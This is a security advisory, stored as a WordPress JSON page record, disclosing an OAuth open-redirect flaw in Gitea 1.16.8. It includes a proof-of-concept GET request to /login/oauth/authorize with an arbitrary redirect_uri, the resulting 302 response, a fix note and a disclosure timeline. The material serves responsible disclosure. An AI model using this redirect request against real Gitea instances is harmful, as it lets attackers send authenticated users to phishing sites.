{"id":22993,"date":"2022-09-30T11:28:00","date_gmt":"2022-09-30T09:28:00","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=22993"},"modified":"2024-07-24T11:35:54","modified_gmt":"2024-07-24T09:35:54","slug":"usd-2022-0023","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0023\/","title":{"rendered":"usd-2022-0023"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_text _builder_version=\"4.17.6\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" hover_enabled=\"0\" global_colors_info=\"{}\" theme_builder_area=\"post_content\" sticky_enabled=\"0\"]<\/p>\n<h2>usd-2022-0023 | Open Redirect in Gitea<\/h2>\n<p><strong>Advisory ID<\/strong>: usd-2022-0023<br \/>\n<strong>Product<\/strong>: Gitea Affected Version: 1.16.8<br \/>\n<strong>Vulnerability Type<\/strong>: <a href=\"\">https:\/\/cwe.mitre.org\/data\/definitions\/601.html<\/a><br \/>\n<strong>Security Risk<\/strong>: Medium<br \/>\n<strong>Vendor URL<\/strong>: <a href=\"\">https:\/\/gitea.io\/<\/a><br \/>\n<strong>Vendor Status<\/strong>: Fixed<br \/>\n<strong>Advisory Status<\/strong>: Closed<br \/>\n<strong>CVE number<\/strong>: Not requested yet<br \/>\n<strong>CVE Link<\/strong>: Not requested yet<br \/>\n<strong>First Published<\/strong>: Not published yet<br \/>\n<strong>Last Update<\/strong>: 2022-06-30<\/p>\n<h3>Description<\/h3>\n<p>Gitea implements OAuth. However if the <strong>response_type=code<\/strong> and <strong>client_secret<\/strong> parameter are not set in the request, the application redirects the user to the value provided within the <strong>redirect_uri<\/strong> parameter.<\/p>\n<p>You need to have a valid <strong>client_id<\/strong> to make this working. You can configure one in your account. The victim needs to be authenticated, otherwise the victim will be redirected to the login page and will be redirected to the page after login.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>Exemplary request:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #EFF\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82AAFF\">GET<\/span> <span class=\"nn\" style=\"background: #263238;color: #FFCB6B\">\/login\/oauth\/authorize?client_id=5445d361-XXXf&amp;redirect_uri=https:\/\/usd.de<\/span> <span class=\"kr\" style=\"background: #263238;color: #BB80B3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #F78C6C\">1.1<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">localhost:3000<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">sec-ch-ua<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">\"Chromium\";v=\"97\", \" Not;A Brand\";v=\"99\"<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">sec-ch-ua-mobile<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">?0<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">sec-ch-ua-platform<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">\"Linux\"<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Upgrade-Insecure-Requests<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">1<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">User-Agent<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/97.0.4692.99 Safari\/537.36<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Cookie<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">XXX<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Connection<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">close<\/span><br \/><\/pre>\n<\/div>\n<p>Corresponding response:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #EFF\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"kr\" style=\"background: #263238;color: #BB80B3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #F78C6C\">1.1<\/span> <span class=\"m\" style=\"background: #263238;color: #F78C6C\">302<\/span> <span class=\"ne\" style=\"background: #263238;color: #FFCB6B\">Found<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">text\/html; charset=utf-8<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Location<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">https:\/\/usd.de?error=unsupported_response_type&amp;error_description=Only+code+response+type+is+supported.&amp;state=<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Set-Cookie<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">_csrf=s[...]; Path=\/; Expires=Tue, 21 Jun 2022 14:34:58 GMT; HttpOnly; SameSite=Lax<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Set-Cookie<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">macaron_flash=; Path=\/; Max-Age=0; HttpOnly; SameSite=Lax<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">X-Frame-Options<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">SAMEORIGIN<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Date<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">Mon, 20 Jun 2022 14:34:58 GMT<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">140<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Connection<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">close<\/span>\n\n<span class=\"p\" style=\"background: #263238;color: #89DDFF\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">a<\/span> <span class=\"na\" style=\"background: #263238;color: #BB80B3\">href<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">=<\/span><span class=\"s\" style=\"background: #263238;color: #C3E88D\">\"https:\/\/usd.de?error=unsupported_response_type&amp;amp;error_description=Only+code+response+type+is+supported.&amp;amp;state=\"<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&gt;<\/span>Found<span class=\"p\" style=\"background: #263238;color: #89DDFF\">&lt;\/<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">a<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&gt;<\/span>.\n<\/pre>\n<\/div>\n<h3>Fix<\/h3>\n<p>The OAuth implementation should follow the \"OAuth 2.0 Security Best Current Practice\"<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"\">https:\/\/datatracker.ietf.org\/doc\/html\/draft-ietf-oauth-security-topics#section-4.10.2<\/a><\/li>\n<li><a href=\"\">https:\/\/cwe.mitre.org\/data\/definitions\/601.html<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2022-06-22<\/strong>: Vulnerability identified by Christian P\u00f6schl<\/li>\n<li><strong>2022-06-22<\/strong>: First contact request<\/li>\n<li><strong>2022-07-01<\/strong>: Investigation started by vendor<\/li>\n<li><strong>2022-07-15<\/strong>: Vendor confirms remediation<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Christian P\u00f6schl of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0023 | Open Redirect in Gitea Advisory ID: usd-2022-0023 Product: Gitea Affected Version: 1.16.8 Vulnerability Type: https:\/\/cwe.mitre.org\/data\/definitions\/601.html Security Risk: Medium Vendor URL: https:\/\/gitea.io\/ Vendor Status: Fixed Advisory Status: Closed CVE number: Not requested yet CVE Link: Not requested yet First Published: Not published yet Last Update: 2022-06-30 Description Gitea implements OAuth. However if the response_type=code [&hellip;]<\/p>\n","protected":false},"author":109,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-22993","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22993","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=22993"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22993\/revisions"}],"predecessor-version":[{"id":23124,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22993\/revisions\/23124"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=22993"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}